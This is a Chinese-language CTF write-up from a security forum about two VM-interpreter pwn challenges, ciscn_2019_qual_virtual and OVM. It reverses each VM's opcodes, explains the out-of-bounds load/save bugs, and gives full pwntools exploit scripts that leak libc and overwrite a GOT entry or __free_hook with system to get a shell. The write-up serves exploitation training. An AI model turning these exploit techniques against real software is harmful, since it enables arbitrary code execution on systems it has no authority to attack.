一些vmpwn的详细总结

总结一些常见vmpwn题的打法,数据越界泄露libc,通过偏移数据处理来得到危险函数地址等常见漏洞,会结合两道例题来进行讲解

前言

ctf比赛中的vm逆向不是指VMware或VirtualBox一类的虚拟机,而是一种解释执行系统或者模拟器,近几年出现的频率越来越高了,故总结一下vmpwn中常见的漏洞

ciscn_2019_qual_virtual

程序保护

image.png
发现没开pie和只开了Partial RELRO

程序分析

image.png

程序开始先是定义了三个堆分别作为vm的stack text data段

init_seg

逆向出结构体后是这样

struct segment_chunk
{
  char *segment;
  unsigned int size;
  int nop;  这个nop后面分析发现 是stack段中的值的个数
};

读入数据并且转移数据

image.png

第一个红框

image.png

image.png
先将值存入ptr所在的堆块 然后在进入move_func 以' '空格为区分切割存入最开始设置的text段

第二个红框

image.png

代码逻辑基本相同,是存放入stack段中

vm_func

这里逆出来功能点是下图这样

image.png
有两个关键的函数

take_value

image.png

可以看出是把a1->segment中的指取出来给a2

set_value

image.png

与take_value相反

功能点

func_pop(v3_data, a2_stack);
func_push(v3_data, a2_stack);
func_add(v3_data);
func_sub(v3_data);
func_x(v3_data);  乘法
func_division(v3_data); 除法
func_load(v3_data);
func_save(v3_data);

这里分析一下load和save 其他的可以参考分析得出

func_load(v3_data);

image.png
这里是取出data段中的值为v2,然后把data[0]的值设置为data[v2]地址所存放的值

func_save(v3_data);

image.png

取两个参数,一个v2,一个v3 并且把data[v2]的值存放为v3

漏洞分析

这里关键点在于load和save这两个功能

load可以进行任意地址读,相当于可以读入data[num]的任何数据为data[0]

save可以进行任意地址写,由于v2和v3都是可控的,因此可以进行任意地址写

攻击思路

由于got表是可以写的,并且我们有任意地址写 因此我们可以通过之前的分析发现,data段的上方就是存放data段的指针

image.png
因此我们可以通过save来把指针覆盖为got段的下方一点的位置,然后通过load去取出puts的地址 然后通过add或者sub的功能去增加偏移把puts去修改为system,由于最后有一个puts(s) 是我们可控的 因此就可以getshell

exp如下

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./ciscn_2019_qual_virtual"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
dbg()
rl("Your program name:\n")
sl(b'/bin/sh\x00')
rl("Your instruction:\n")
payload=b'push push save push load push add push save'
sl(payload)
rl("Your stack data:\n")
content=b'4210896 -3 -21 -193680 -21'
sl(content)
inter()

image.png

OVM

程序保护

image.png

程序分析

main

image.png

这一部分重点就是给SP PC赋值,然后把code读入memory[PC+i]的位置,并且通过检测限制单个字节最大为0xff

fetch

image.png

这里就是取出PC的值 传给memory 方便后面执行execute程序

execute

  v4 = (a1 & 0xF0000u) >> 16;
  v3 = (unsigned __int16)(a1 & 0xF00) >> 8;
  v2 = a1 & 0xF;
  result = HIBYTE(a1);

这里对传入的a1分别进行了几段的处理 处理后分别为v4 v3 v2 HIBYTE(a1);

add功能: 0x70

image.png

异或功能:0xb0

image.png

右移操作:0xd0

image.png

打印寄存器情况:0xff

image.png

左移操作:0xc0

image.png

位与操作:0x90

image.png

位或操作:0xa0

image.png

减法操作:0x80

image.png

save操作: 0x30

image.png

push操作:0x50

image.png

pop操作: 0x60

image.png

memory内存写入:0x40

image.png

给reg[v4]赋值 0x10 0x20

image.png

功能表一览

image.png

漏洞分析

我们关注到

image.png

image.png

这两个地方 一个是可以把reg[v2]中的值作为memory的索引去读入到reg[v4]中,另一个是可以把reg[v4]的值读入到memory[reg[v2]]中,而这里的v2是我们可以控制的,因此就可能导致溢出写,摆在我们面前的目前有两个问题

1.如何去泄露libc的地址

2.程序在开了FULL RELRO的情况应该改写哪里

问题一

image.png
可以看到memory 离got表的距离只有0x68换算一下也就是4*26 我们可以通过

reg[v4] = memory[reg[v2]];这个控制reg[v2]为-26 来把got表中的值读入寄存器,这里还有个限制 就是 我们前面分析的赋值的时候限制了大小为0到0xff 因此不能直接赋负值,我们可以通过 寄存器相减来实现这个目标

opcode(0x10,0,0,26)     #mov reg[0],26
opcode(0x80,2,1,0)      #reg[2]=reg[1]-reg[0]

这样子就实现了通过取负值取出got表的值,而由于got表中的地址是8字节,而我们的寄存器只存储4字节所以我们要存储在两个寄存器中 方便后续进行计算处理

opcode(0x10,0,0,26)     #mov reg[0],26
opcode(0x80,2,1,0)      #reg[2]=reg[1]-reg[0]
opcode(0x30,4,0,2)      #mov reg[4],memory[reg[2]]
opcode(0x10,0,0,25)     #mov reg[0],25
opcode(0x80,2,1,0)      #reg[2]=reg[1]-reg[0]
opcode(0x30,5,0,2)      #mov reg[5],memory[reg[2]]      

image.png

然后后续我们有个打印所有寄存器的功能 就可以把libc的地址泄露出来

问题二

got表是不可以写的,因此我们只能考虑改别的 观察到

image.png
这里有个read读入到comment中存放的地址(这个可以通过调试得出来)

image.png

这是原地址,而comment存放地址的位置离memory非常的近,因此我们可以通过

memory[reg[v2]] = reg[v4]; 这个去把memory上面的comment覆盖为寄存器的值,和之前读取一样 需要两个4字节 修改后 就可以实现任意地址写了,由于后面有一次free 自然想到改free_hook

image.png

image.png

可以看到差距0x10a8我们可以通过寄存器之间加减变化得到,因为直接给寄存器传值收到了0-0xff的限制,所以要达到这个数值的话有两种思路:

1.是通过reg[13]或者reg[15]作为计算依据 这个是没有受到限制可以直接传入的

2.就是通过多次累加 或者 累减 之类的方式

思路总结

通过读取的功能去把got表中的值读入寄存器中 并且泄露出来,然后通过加减变化stderr的值为__free_hook-8的值 然后 通过 memory[reg[v2]] = reg[v4]; 传入覆盖comment的值 然后 修改 free_hook的值为system free_hook-8的值为/bin/sh\x00 就可以getshell

动态调试

读取地址:

image.png

修改stderr为free_hook-8

image.png

修改comment为free_hook-8

image.png

修改为system

image.png

getshell

image.png

exp

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./OVM"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def opcode(op,high,medium,low):
    content=(op<<24)+(high<<16)+(medium<<8)+(low)
    sl(str(content))
dbg()
rl("PCPC: ")
sl(str(0x1111))
rl("SP: ")
sl(str(0x10a0))
rl("CODE SIZE: ")
sl(str(14))
rl("CODE: ")
#0FB7
opcode(0x10, 0, 0, 26)
opcode(0x80, 2, 1, 0)
opcode(0x30, 4, 0, 2)
opcode(0x10, 0, 0, 25)
opcode(0x80, 2, 1, 0)
opcode(0x30, 5, 0, 2)
opcode(0x70, 4, 4, 13)
#--------------------------
opcode(0x10, 0, 0, 8)
opcode(0x80, 2, 1, 0)
#--------------------------
opcode(0x40, 4, 0, 2)
opcode(0x10, 0, 0, 7)
opcode(0x80, 2, 1, 0)
#--------------------------
opcode(0x40, 5, 0, 2)
opcode(0xff, 0, 0, 0)
rl("R4: ")
libc_addr1=int(mx.recv(8),16)
rl("R5: ")
libc_addr2=int(mx.recv(4),16)
print(hex(libc_addr1))
print(hex(libc_addr2))
libc_addr = (libc_addr2 << 32) + libc_addr1
print(hex(libc_addr))
#0F48=m
system=libc_addr-0x39e4a0
rl("HOW DO YOU FEEL AT OVM?")
s(b'/bin/sh\x00'+p64(system))
inter()

总结

像上面这种VMpwn的题目,关键功能点就是分配了栈 text data段 然后模拟pop push mov lea等功能,这种更多的是难在逆向 把功能点都一个个弄清楚之后 找到漏洞其实并不难,无非就是数据越界等常见漏洞,而我们通过两道题目发现 其实很多功能点是在我们的漏洞利用中每起到作用中,因此比赛的时候遇到类似这种题 就只需要重点去看涉及到栈 data等的指令 pop push lea类似的这种 便于快速锁定漏洞 拿到flag.

  • 发表于 2024-12-30 10:00:01
  • 阅读 ( 2093 )
  • 分类:二进制

0 条评论

请先 登录 后评论
sn1w
sn1w

4 篇文章

站长统计